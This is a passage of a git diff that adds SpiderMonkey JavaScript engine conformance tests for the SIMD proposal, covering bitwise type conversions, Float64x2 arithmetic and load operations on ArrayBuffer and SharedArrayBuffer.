+ return [i16[0], i16[1], i16[2], i16[3], i16[4], i16[5], i16[6], i16[7]];
+ }
+
+ var vals = [[1, -2], [-3, 4], [Infinity, -Infinity], [NaN, -0]];
+
+ for (var v of vals) {
+ var f = Float64x2(...v);
+ assertEqX8(Int16x8.fromFloat64x2Bits(f), expected(f, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX8(Int16x8.fromFloat64x2Bits(f), expected(f, SharedArrayBuffer));
+ }
+}
+
+function testInt16x8FromInt8x16Bits() {
+ function expected(v, Buffer) {
+ var i8 = new Int8Array(new Buffer(16));
+ var i16 = new Int16Array(i8.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 16; i++) i8[i] = asArr[i];
+ return [i16[0], i16[1], i16[2], i16[3], i16[4], i16[5], i16[6], i16[7]];
+ }
+
+ var vals = [[0, 1, -2, 3, -4, 5, INT8_MIN, INT8_MAX, -6, 7, -8, 9, -10, 11, -12, 13]];
+
+ for (var v of vals) {
+ var i = Int8x16(...v);
+ assertEqX8(Int16x8.fromInt8x16Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX8(Int16x8.fromInt8x16Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testInt16x8FromUint8x16Bits() {
+ function expected(v, Buffer) {
+ var u8 = new Uint8Array(new Buffer(16));
+ var i16 = new Int16Array(u8.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 16; i++) u8[i] = asArr[i];
+ return [i16[0], i16[1], i16[2], i16[3], i16[4], i16[5], i16[6], i16[7]];
+ }
+
+ var vals = [[0, 1, -2, 3, -4, UINT8_MAX, INT8_MIN, INT8_MAX, -6, 7, -8, 9, -10, 11, -12, 13]];
+
+ for (var v of vals) {
+ var i = Uint8x16(...v);
+ assertEqX8(Int16x8.fromUint8x16Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX8(Int16x8.fromUint8x16Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testInt16x8FromUint16x8Bits() {
+ function expected(v, Buffer) {
+ var u16 = new Uint16Array(new Buffer(16));
+ var i16 = new Int16Array(u16.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 8; i++) u16[i] = asArr[i];
+ return [i16[0], i16[1], i16[2], i16[3], i16[4], i16[5], i16[6], i16[7]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8],
+ [0, UINT16_MAX, 0, UINT16_MAX, 0, UINT16_MAX, 0, UINT16_MAX]];
+
+ for (var v of vals) {
+ var i = Uint16x8(...v);
+ assertEqX8(Int16x8.fromUint16x8Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX8(Int16x8.fromUint16x8Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testInt16x8FromInt32x4Bits() {
+ function expected(v, Buffer) {
+ var i32 = new Int32Array(new Buffer(16));
+ var i16 = new Int16Array(i32.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 4; i++) i32[i] = asArr[i];
+ return [i16[0], i16[1], i16[2], i16[3], i16[4], i16[5], i16[6], i16[7]];
+ }
+
+ var vals = [[1, -2, -3, 4], [INT16_MAX, INT16_MIN, INT32_MAX, INT32_MIN]];
+
+ for (var v of vals) {
+ var i = Int32x4(...v);
+ assertEqX8(Int16x8.fromInt32x4Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX8(Int16x8.fromInt32x4Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testInt16x8FromUint32x4Bits() {
+ function expected(v, Buffer) {
+ var u32 = new Uint32Array(new Buffer(16));
+ var i16 = new Int16Array(u32.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 4; i++) u32[i] = asArr[i];
+ return [i16[0], i16[1], i16[2], i16[3], i16[4], i16[5], i16[6], i16[7]];
+ }
+
+ var vals = [[1, -2, -3, 4], [INT16_MAX, INT16_MIN, INT32_MAX, INT32_MIN]];
+
+ for (var v of vals) {
+ var i = Uint32x4(...v);
+ assertEqX8(Int16x8.fromUint32x4Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX8(Int16x8.fromUint32x4Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testUint32x4FromInt8x16Bits() {
+ function expected(v, Buffer) {
+ var i8 = new Int8Array(new Buffer(16));
+ var u32 = new Uint32Array(i8.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 16; i++) i8[i] = asArr[i];
+ return [u32[0], u32[1], u32[2], u32[3]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16],
+ [INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX,
+ INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN]];
+
+ for (var v of vals) {
+ var i = Int8x16(...v);
+ assertEqX4(Uint32x4.fromInt8x16Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX4(Uint32x4.fromInt8x16Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testUint32x4FromUint8x16Bits() {
+ function expected(v, Buffer) {
+ var u8 = new Uint8Array(new Buffer(16));
+ var u32 = new Uint32Array(u8.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 16; i++) u8[i] = asArr[i];
+ return [u32[0], u32[1], u32[2], u32[3]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16],
+ [0, UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX,
+ UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX, 0]];
+
+ for (var v of vals) {
+ var i = Uint8x16(...v);
+ assertEqX4(Uint32x4.fromUint8x16Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX4(Uint32x4.fromUint8x16Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testUint32x4FromInt16x8Bits() {
+ function expected(v, Buffer) {
+ var i16 = new Int16Array(new Buffer(16));
+ var u32 = new Uint32Array(i16.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 8; i++) i16[i] = asArr[i];
+ return [u32[0], u32[1], u32[2], u32[3]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8],
+ [INT16_MIN, INT16_MAX, INT16_MIN, INT16_MAX, INT16_MIN, INT16_MAX, INT16_MIN, INT16_MAX]];
+
+ for (var v of vals) {
+ var i = Int16x8(...v);
+ assertEqX4(Uint32x4.fromInt16x8Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX4(Uint32x4.fromInt16x8Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testUint32x4FromUint16x8Bits() {
+ function expected(v, Buffer) {
+ var u16 = new Uint16Array(new Buffer(16));
+ var u32 = new Uint32Array(u16.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 8; i++) u16[i] = asArr[i];
+ return [u32[0], u32[1], u32[2], u32[3]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8],
+ [0, UINT16_MAX, 0, UINT16_MAX, 0, UINT16_MAX, 0, UINT16_MAX]];
+
+ for (var v of vals) {
+ var i = Uint16x8(...v);
+ assertEqX4(Uint32x4.fromUint16x8Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX4(Uint32x4.fromUint16x8Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testUint32x4FromInt32x4Bits() {
+ function expected(v, Buffer) {
+ var i32 = new Int32Array(new Buffer(16));
+ var u32 = new Uint32Array(i32.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 8; i++) i32[i] = asArr[i];
+ return [u32[0], u32[1], u32[2], u32[3]];
+ }
+
+ var vals = [[0, 1, -2, 3], [INT8_MIN, UINT32_MAX, INT32_MIN, INT32_MAX]];
+
+ for (var v of vals) {
+ var i = Int32x4(...v);
+ assertEqX4(Uint32x4.fromInt32x4Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX4(Uint32x4.fromInt32x4Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testUint8x16FromFloat32x4Bits() {
+ function expected(v, Buffer) {
+ var f32 = new Float32Array(new Buffer(16));
+ var u8 = new Uint8Array(f32.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 4; i++) f32[i] = asArr[i];
+ return [u8[0], u8[1], u8[2], u8[3], u8[4], u8[5], u8[6], u8[7],
+ u8[8], u8[9], u8[10], u8[11], u8[12], u8[13], u8[14], u8[15]];
+ }
+
+ var vals = [[1, -2, 3, -4], [Infinity, -Infinity, NaN, -0]];
+
+ for (var v of vals) {
+ var f = Float32x4(...v);
+ assertEqX16(Uint8x16.fromFloat32x4Bits(f), expected(f, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX16(Uint8x16.fromFloat32x4Bits(f), expected(f, SharedArrayBuffer));
+ }
+}
+
+function testUint8x16FromFloat64x2Bits() {
+ function expected(v, Buffer) {
+ var f64 = new Float64Array(new Buffer(16));
+ var u8 = new Uint8Array(f64.buffer);
+ f64[0] = Float64x2.extractLane(v, 0);
+ f64[1] = Float64x2.extractLane(v, 1);
+ return [u8[0], u8[1], u8[2], u8[3], u8[4], u8[5], u8[6], u8[7],
+ u8[8], u8[9], u8[10], u8[11], u8[12], u8[13], u8[14], u8[15]];
+ }
+ var vals = [[1, -2], [-3, 4], [Infinity, -Infinity], [NaN, -0]];
+
+ for (var v of vals) {
+ var f = Float64x2(...v);
+ assertEqX16(Uint8x16.fromFloat64x2Bits(f), expected(f, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX16(Uint8x16.fromFloat64x2Bits(f), expected(f, SharedArrayBuffer));
+ }
+}
+
+function testUint8x16FromInt8x16Bits() {
+ function expected(v, Buffer) {
+ var i8 = new Int8Array(new Buffer(16));
+ var u8 = new Uint8Array(i8.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 16; i++) i8[i] = asArr[i];
+ return [u8[0], u8[1], u8[2], u8[3], u8[4], u8[5], u8[6], u8[7],
+ u8[8], u8[9], u8[10], u8[11], u8[12], u8[13], u8[14], u8[15]];
+ }
+
+ var vals = [[0, 1, -2, 3, -4, 5, INT8_MIN, UINT8_MAX, -6, 7, INT8_MAX, 9, -10, 11, -12, 13]];
+
+ for (var v of vals) {
+ var i = Int8x16(...v);
+ assertEqX16(Uint8x16.fromInt8x16Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX16(Uint8x16.fromInt8x16Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testUint8x16FromInt16x8Bits() {
+ function expected(v, Buffer) {
+ var i16 = new Int16Array(new Buffer(16));
+ var u8 = new Uint8Array(i16.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 8; i++) i16[i] = asArr[i];
+ return [u8[0], u8[1], u8[2], u8[3], u8[4], u8[5], u8[6], u8[7],
+ u8[8], u8[9], u8[10], u8[11], u8[12], u8[13], u8[14], u8[15]];
+ }
+
+ var vals = [[0, 1, -2, 3, INT8_MIN, INT8_MAX, INT16_MIN, INT16_MAX]];
+ for (var v of vals) {
+ var i = Int16x8(...v);
+ assertEqX16(Uint8x16.fromInt16x8Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX16(Uint8x16.fromInt16x8Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testUint8x16FromUint16x8Bits() {
+ function expected(v, Buffer) {
+ var u16 = new Uint16Array(new Buffer(16));
+ var u8 = new Uint8Array(u16.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 8; i++) u16[i] = asArr[i];
+ return [u8[0], u8[1], u8[2], u8[3], u8[4], u8[5], u8[6], u8[7],
+ u8[8], u8[9], u8[10], u8[11], u8[12], u8[13], u8[14], u8[15]];
+ }
+
+ var vals = [[0, 1, -2, UINT16_MAX, INT8_MIN, INT8_MAX, INT16_MIN, INT16_MAX]];
+ for (var v of vals) {
+ var i = Uint16x8(...v);
+ assertEqX16(Uint8x16.fromUint16x8Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX16(Uint8x16.fromUint16x8Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testUint8x16FromInt32x4Bits() {
+ function expected(v, Buffer) {
+ var i32 = new Int32Array(new Buffer(16));
+ var u8 = new Uint8Array(i32.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 4; i++) i32[i] = asArr[i];
+ return [u8[0], u8[1], u8[2], u8[3], u8[4], u8[5], u8[6], u8[7],
+ u8[8], u8[9], u8[10], u8[11], u8[12], u8[13], u8[14], u8[15]];
+ }
+
+ var vals = [[0, 1, -2, 3], [INT8_MIN, INT8_MAX, INT32_MIN, INT32_MAX]];
+ for (var v of vals) {
+ var i = Int32x4(...v);
+ assertEqX16(Uint8x16.fromInt32x4Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX16(Uint8x16.fromInt32x4Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testUint8x16FromUint32x4Bits() {
+ function expected(v, Buffer) {
+ var u32 = new Uint32Array(new Buffer(16));
+ var u8 = new Uint8Array(u32.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 4; i++) u32[i] = asArr[i];
+ return [u8[0], u8[1], u8[2], u8[3], u8[4], u8[5], u8[6], u8[7],
+ u8[8], u8[9], u8[10], u8[11], u8[12], u8[13], u8[14], u8[15]];
+ }
+
+ var vals = [[0, 1, -2, 3], [INT8_MIN, INT8_MAX, INT32_MIN, INT32_MAX]];
+ for (var v of vals) {
+ var i = Uint32x4(...v);
+ assertEqX16(Uint8x16.fromUint32x4Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX16(Uint8x16.fromUint32x4Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testUint16x8FromFloat32x4Bits() {
+ function expected(v, Buffer) {
+ var f32 = new Float32Array(new Buffer(16));
+ var u16 = new Uint16Array(f32.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 4; i++) f32[i] = asArr[i];
+ return [u16[0], u16[1], u16[2], u16[3], u16[4], u16[5], u16[6], u16[7]];
+ }
+
+ var vals = [[1, -2, 3, -4], [Infinity, -Infinity, NaN, -0]];
+
+ for (var v of vals) {
+ var f = Float32x4(...v);
+ assertEqX8(Uint16x8.fromFloat32x4Bits(f), expected(f, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX8(Uint16x8.fromFloat32x4Bits(f), expected(f, SharedArrayBuffer));
+ }
+}
+
+function testUint16x8FromFloat64x2Bits() {
+ function expected(v, Buffer) {
+ var f64 = new Float64Array(new Buffer(16));
+ var u16 = new Uint16Array(f64.buffer);
+ f64[0] = Float64x2.extractLane(v, 0);
+ f64[1] = Float64x2.extractLane(v, 1);
+ return [u16[0], u16[1], u16[2], u16[3], u16[4], u16[5], u16[6], u16[7]];
+ }
+
+ var vals = [[1, -2], [-3, 4], [Infinity, -Infinity], [NaN, -0]];
+
+ for (var v of vals) {
+ var f = Float64x2(...v);
+ assertEqX8(Uint16x8.fromFloat64x2Bits(f), expected(f, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX8(Uint16x8.fromFloat64x2Bits(f), expected(f, SharedArrayBuffer));
+ }
+}
+
+function testUint16x8FromInt8x16Bits() {
+ function expected(v, Buffer) {
+ var i8 = new Int8Array(new Buffer(16));
+ var u16 = new Uint16Array(i8.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 16; i++) i8[i] = asArr[i];
+ return [u16[0], u16[1], u16[2], u16[3], u16[4], u16[5], u16[6], u16[7]];
+ }
+
+ var vals = [[0, 1, -2, 3, -4, 5, INT8_MIN, INT8_MAX, -6, 7, -8, 9, -10, 11, -12, 13]];
+
+ for (var v of vals) {
+ var i = Int8x16(...v);
+ assertEqX8(Uint16x8.fromInt8x16Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX8(Uint16x8.fromInt8x16Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testUint16x8FromUint8x16Bits() {
+ function expected(v, Buffer) {
+ var u8 = new Uint8Array(new Buffer(16));
+ var u16 = new Uint16Array(u8.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 16; i++) u8[i] = asArr[i];
+ return [u16[0], u16[1], u16[2], u16[3], u16[4], u16[5], u16[6], u16[7]];
+ }
+
+ var vals = [[0, 1, -2, 3, -4, UINT8_MAX, INT8_MIN, INT8_MAX, -6, 7, -8, 9, -10, 11, -12, 13]];
+
+ for (var v of vals) {
+ var i = Uint8x16(...v);
+ assertEqX8(Uint16x8.fromUint8x16Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX8(Uint16x8.fromUint8x16Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testUint16x8FromInt16x8Bits() {
+ function expected(v, Buffer) {
+ var i16 = new Int16Array(new Buffer(16));
+ var u16 = new Uint16Array(i16.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 8; i++) i16[i] = asArr[i];
+ return [u16[0], u16[1], u16[2], u16[3], u16[4], u16[5], u16[6], u16[7]];
+ }
+
+ var vals = [[1, 2, 3, 4, 5, 6, 7, 8],
+ [INT16_MIN, UINT16_MAX, INT16_MAX, UINT16_MAX, 0, UINT16_MAX, 0, UINT16_MAX]];
+
+ for (var v of vals) {
+ var i = Int16x8(...v);
+ assertEqX8(Uint16x8.fromInt16x8Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX8(Uint16x8.fromInt16x8Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testUint16x8FromInt32x4Bits() {
+ function expected(v, Buffer) {
+ var i32 = new Int32Array(new Buffer(16));
+ var u16 = new Uint16Array(i32.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 4; i++) i32[i] = asArr[i];
+ return [u16[0], u16[1], u16[2], u16[3], u16[4], u16[5], u16[6], u16[7]];
+ }
+
+ var vals = [[1, -2, -3, 4], [INT16_MAX, INT16_MIN, INT32_MAX, INT32_MIN]];
+
+ for (var v of vals) {
+ var i = Int32x4(...v);
+ assertEqX8(Uint16x8.fromInt32x4Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX8(Uint16x8.fromInt32x4Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function testUint16x8FromUint32x4Bits() {
+ function expected(v, Buffer) {
+ var u32 = new Uint32Array(new Buffer(16));
+ var u16 = new Uint16Array(u32.buffer);
+ var asArr = simdToArray(v);
+ for (var i = 0; i < 4; i++) u32[i] = asArr[i];
+ return [u16[0], u16[1], u16[2], u16[3], u16[4], u16[5], u16[6], u16[7]];
+ }
+
+ var vals = [[1, -2, -3, 4], [INT16_MAX, INT16_MIN, INT32_MAX, INT32_MIN]];
+
+ for (var v of vals) {
+ var i = Uint32x4(...v);
+ assertEqX8(Uint16x8.fromUint32x4Bits(i), expected(i, ArrayBuffer));
+ if (typeof SharedArrayBuffer != "undefined")
+ assertEqX8(Uint16x8.fromUint32x4Bits(i), expected(i, SharedArrayBuffer));
+ }
+}
+
+function test() {
+ testFloat32x4FromFloat64x2Bits();
+ testFloat32x4FromInt8x16Bits();
+ testFloat32x4FromInt16x8Bits();
+ testFloat32x4FromInt32x4();
+ testFloat32x4FromInt32x4Bits();
+ testFloat32x4FromUint8x16Bits();
+ testFloat32x4FromUint16x8Bits();
+ testFloat32x4FromUint32x4();
+ testFloat32x4FromUint32x4Bits();
+
+ testFloat64x2FromFloat32x4Bits();
+ testFloat64x2FromInt8x16Bits();
+ testFloat64x2FromInt16x8Bits();
+ testFloat64x2FromInt32x4Bits();
+ testFloat64x2FromUint8x16Bits();
+ testFloat64x2FromUint16x8Bits();
+ testFloat64x2FromUint32x4Bits();
+
+ testInt8x16FromFloat32x4Bits();
+ testInt8x16FromFloat64x2Bits();
+ testInt8x16FromInt16x8Bits();
+ testInt8x16FromInt32x4Bits();
+ testInt8x16FromUint8x16Bits();
+ testInt8x16FromUint16x8Bits();
+ testInt8x16FromUint32x4Bits();
+
+ testInt16x8FromFloat32x4Bits();
+ testInt16x8FromFloat64x2Bits();
+ testInt16x8FromInt8x16Bits();
+ testInt16x8FromInt32x4Bits();
+ testInt16x8FromUint8x16Bits();
+ testInt16x8FromUint16x8Bits();
+ testInt16x8FromUint32x4Bits();
+
+ testInt32x4FromFloat32x4();
+ testInt32x4FromFloat32x4Bits();
+ testInt32x4FromFloat64x2Bits();
+ testInt32x4FromInt8x16Bits();
+ testInt32x4FromInt16x8Bits();
+ testInt32x4FromUint8x16Bits();
+ testInt32x4FromUint16x8Bits();
+ testInt32x4FromUint32x4Bits();
+
+ testUint8x16FromFloat32x4Bits();
+ testUint8x16FromFloat64x2Bits();
+ testUint8x16FromInt8x16Bits();
+ testUint8x16FromInt16x8Bits();
+ testUint8x16FromInt32x4Bits();
+ testUint8x16FromUint16x8Bits();
+ testUint8x16FromUint32x4Bits();
+
+ testUint16x8FromFloat32x4Bits();
+ testUint16x8FromFloat64x2Bits();
+ testUint16x8FromInt8x16Bits();
+ testUint16x8FromInt16x8Bits();
+ testUint16x8FromInt32x4Bits();
+ testUint16x8FromUint8x16Bits();
+ testUint16x8FromUint32x4Bits();
+
+ testUint32x4FromFloat32x4();
+ testUint32x4FromFloat32x4Bits();
+ testUint32x4FromFloat64x2Bits();
+ testUint32x4FromInt8x16Bits();
+ testUint32x4FromInt16x8Bits();
+ testUint32x4FromInt32x4Bits();
+ testUint32x4FromUint8x16Bits();
+ testUint32x4FromUint16x8Bits();
+
+ if (typeof reportCompare === "function") {
+ reportCompare(true, true);
+ }
+}
+
+test();
diff --git a/js/src/tests/ecma_7/SIMD/float64x2-arithmetic.js b/js/src/tests/ecma_7/SIMD/float64x2-arithmetic.js
new file mode 100644
index 000000000..17c51a9e0
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/float64x2-arithmetic.js
@@ -0,0 +1,69 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+var Float64x2 = SIMD.Float64x2;
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+function add(a, b) { return a + b; }
+function sub(a, b) { return a - b; }
+function mul(a, b) { return a * b; }
+function div(a, b) { return a / b; }
+function neg(a) { return -a; }
+function reciprocalApproximation(a) { return 1 / a; }
+function reciprocalSqrtApproximation(a) { return 1 / Math.sqrt(a); }
+
+function testAdd(v, w) {
+ return testBinaryFunc(v, w, Float64x2.add, add);
+}
+function testSub(v, w) {
+ return testBinaryFunc(v, w, Float64x2.sub, sub);
+}
+function testMul(v, w) {
+ return testBinaryFunc(v, w, Float64x2.mul, mul);
+}
+function testDiv(v, w) {
+ return testBinaryFunc(v, w, Float64x2.div, div);
+}
+function testAbs(v) {
+ return testUnaryFunc(v, Float64x2.abs, Math.abs);
+}
+function testNeg(v) {
+ return testUnaryFunc(v, Float64x2.neg, neg);
+}
+function testReciprocalApproximation(v) {
+ return testUnaryFunc(v, Float64x2.reciprocalApproximation, reciprocalApproximation);
+}
+function testReciprocalSqrtApproximation(v) {
+ return testUnaryFunc(v, Float64x2.reciprocalSqrtApproximation, reciprocalSqrtApproximation);
+}
+function testSqrt(v) {
+ return testUnaryFunc(v, Float64x2.sqrt, Math.sqrt);
+}
+
+function test() {
+ var v, w;
+ for ([v, w] of [[Float64x2(1, 2), Float64x2(3, 4)],
+ [Float64x2(1.894, 2.8909), Float64x2(100.764, 200.987)],
+ [Float64x2(-1, -2), Float64x2(-14.54, 57)],
+ [Float64x2(+Infinity, -Infinity), Float64x2(NaN, -0)],
+ [Float64x2(Math.pow(2, 31), Math.pow(2, -31)), Float64x2(Math.pow(2, -1047), Math.pow(2, -149))]])
+ {
+ testAdd(v, w);
+ testSub(v, w);
+ testMul(v, w);
+ testDiv(v, w);
+ testAbs(v);
+ testNeg(v);
+ testReciprocalApproximation(v);
+ testSqrt(v);
+ testReciprocalSqrtApproximation(v);
+ }
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+}
+
+test();
+
diff --git a/js/src/tests/ecma_7/SIMD/load-floats.js b/js/src/tests/ecma_7/SIMD/load-floats.js
new file mode 100644
index 000000000..9ae52dc8c
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/load-floats.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var { testLoad } = Helpers;
+
+testLoad('Float32x4', new Float32Array(SIZE_32_ARRAY));
+testLoad('Float64x2', new Float64Array(SIZE_64_ARRAY));
+
+if (typeof SharedArrayBuffer != "undefined") {
+ testLoad('Float32x4', new Float32Array(new SharedArrayBuffer(SIZE_8_ARRAY)));
+ testLoad('Float64x2', new Float64Array(new SharedArrayBuffer(SIZE_8_ARRAY)));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/SIMD/load-int16x8.js b/js/src/tests/ecma_7/SIMD/load-int16x8.js
new file mode 100644
index 000000000..a8b90ca15
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/load-int16x8.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var { testLoad } = Helpers;
+
+testLoad('Int16x8', new Int16Array(SIZE_16_ARRAY));
+
+if (typeof SharedArrayBuffer != "undefined") {
+ testLoad('Int16x8', new Int16Array(new SharedArrayBuffer(SIZE_8_ARRAY)));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/SIMD/load-int32x4.js b/js/src/tests/ecma_7/SIMD/load-int32x4.js
new file mode 100644
index 000000000..0719cbc17
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/load-int32x4.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var { testLoad } = Helpers;
+
+testLoad('Int32x4', new Int32Array(SIZE_32_ARRAY));
+
+if (typeof SharedArrayBuffer != "undefined") {
+ testLoad('Int32x4', new Int32Array(new SharedArrayBuffer(SIZE_8_ARRAY)));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/ecma_7/SIMD/load-int8x16.js b/js/src/tests/ecma_7/SIMD/load-int8x16.js
new file mode 100644
index 000000000..cb6c24285
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/load-int8x16.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var { testLoad } = Helpers;
+
+testLoad('Int8x16', new Int8Array(SIZE_8_ARRAY));
+
+if (typeof SharedArrayBuffer != "undefined") {
+ testLoad('Int8x16', new Int8Array(new SharedArrayBuffer(SIZE_8_ARRAY)));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/SIMD/load-sab-buffer-compat.js b/js/src/tests/ecma_7/SIMD/load-sab-buffer-compat.js
new file mode 100644
index 000000000..fe8fac3ed
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/load-sab-buffer-compat.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var { MakeComparator } = Helpers;
+
+function testSharedArrayBufferCompat() {
+ var TA = new Float32Array(new SharedArrayBuffer(16*4));
+ for (var i = 0; i < 16; i++)
+ TA[i] = i + 1;
+
+ for (var ta of [
+ new Uint8Array(TA.buffer),
+ new Int8Array(TA.buffer),
+ new Uint16Array(TA.buffer),
+ new Int16Array(TA.buffer),
+ new Uint32Array(TA.buffer),
+ new Int32Array(TA.buffer),
+ new Float32Array(TA.buffer),
+ new Float64Array(TA.buffer)
+ ])
+ {
+ for (var kind of ['Int32x4', 'Uint32x4', 'Float32x4', 'Float64x2']) {
+ var comp = MakeComparator(kind, ta);
+ comp.load(0);
+ comp.load1(0);
+ comp.load2(0);
+ comp.load3(0);
+
+ comp.load(3);
+ comp.load1(3);
+ comp.load2(3);
+ comp.load3(3);
+ }
+
